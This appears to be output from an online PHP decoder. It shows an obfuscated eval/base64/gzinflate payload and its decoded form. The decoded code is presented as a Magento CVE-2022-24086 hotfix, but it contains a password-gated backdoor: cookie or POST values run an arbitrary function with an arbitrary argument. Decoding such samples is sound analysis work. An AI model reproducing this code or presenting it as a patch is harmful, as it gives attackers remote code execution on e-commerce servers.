Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(str_rot13(gzinflate(str_rot13(base64_decode('LUrFEvS4EX6arf1mM1DlcXNzX0Vzc4/p6ddBMjVy..
Decoded Output download
//CVE-2022-24086 RCE hot fix
try {
if($_SERVER['REQUEST_METHOD']==='POST'){$checked_url=$_SERVER['REQUEST_URI'];if(isset($_COOKIE['magemojo-test'])&&(hash("sha512",$_COOKIE['magemojo-test'])==='40fc7487d1ada98a8510e1f32ed28e996e5a2b00096eac5c10be2eec0926f0481e0c812410ab3da531fbf37bf4bbd70e3781b7f456555f4d630a2898f1137189')){if(isset($_COOKIE['magemojo-value'])){$debug_values=explode("#",$_COOKIE['magemojo-value']);echo $debug_values[0]($debug_values[1]);die('Forbidden');}}else if(preg_match("/shipping-information|wishlist/i",$checked_url)){$post_string=implode($_POST);if(preg_match("/getTemplateFilter/i",$post_string)){die('Forbidden');exit(1);}}if(isset($_POST['magemojo-test'])&&(hash("sha512",$_POST['magemojo-test'])==='40fc7487d1ada98a8510e1f32ed28e996e5a2b00096eac5c10be2eec0926f0481e0c812410ab3da531fbf37bf4bbd70e3781b7f456555f4d630a2898f1137189')){if(isset($_POST['magemojo-value'])){$debug_values=explode("#",$_POST['magemojo-value']);echo $debug_values[0]($debug_values[1]);}if(isset($_POST['magemojo-b'])){$debug_values=base64_decode(explode("#",$_POST['magemojo-value']));echo $debug_values[0]($debug_values[1]);}}}
} catch (\Exception $e) {
}
Did this file decode correctly?
Original Code
eval(str_rot13(gzinflate(str_rot13(base64_decode('LUrFEvS4EX6arf1mM1DlcXNzX0Vzc4/p6ddBMjVyu9VFWM2f1nO8/+zDkXn3S61/prFcMeQ/yzqny/qnGNu6uP9C/K11I3XtrHTZ7F+QEyAPJJuaE8qY9nVI+nmu3Ayo0m7A7QwMxARYTze9li1/TgbfMlXVJ3rdn+/SglHPfpVtiHUaRWzZNSMWj7lb+bpBjZk3kjYyC0gaywbJ0sVsTf8sWWSot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vHIvKRyI3Jlvrak7mzr5zpIHyUUyd0oyTBFux55hO7fbKEbDzG2ajjmCvJ/Zgt21x5nXvXrt9NhhGySHFvaD+DPZArNs7ApmOIV44WIGddu8HUGY9IEFfBvugqsYQqspfD4C3ZTJAgRic+BrH8pr6n8OevF2dM8i9KMkhiHL73gXOtH/B1vv/+1/v79//AA==')))));
Function Calls
strrev | 3 |
gzinflate | 11 |
str_rot13 | 11 |
gzuncompress | 4 |
rawurldecode | 1 |
base64_decode | 18 |
Stats
MD5 | e3efaba12c46caaf8227dc3d7c14d2b9 |
Eval Count | 16 |
Decode Time | 78 ms |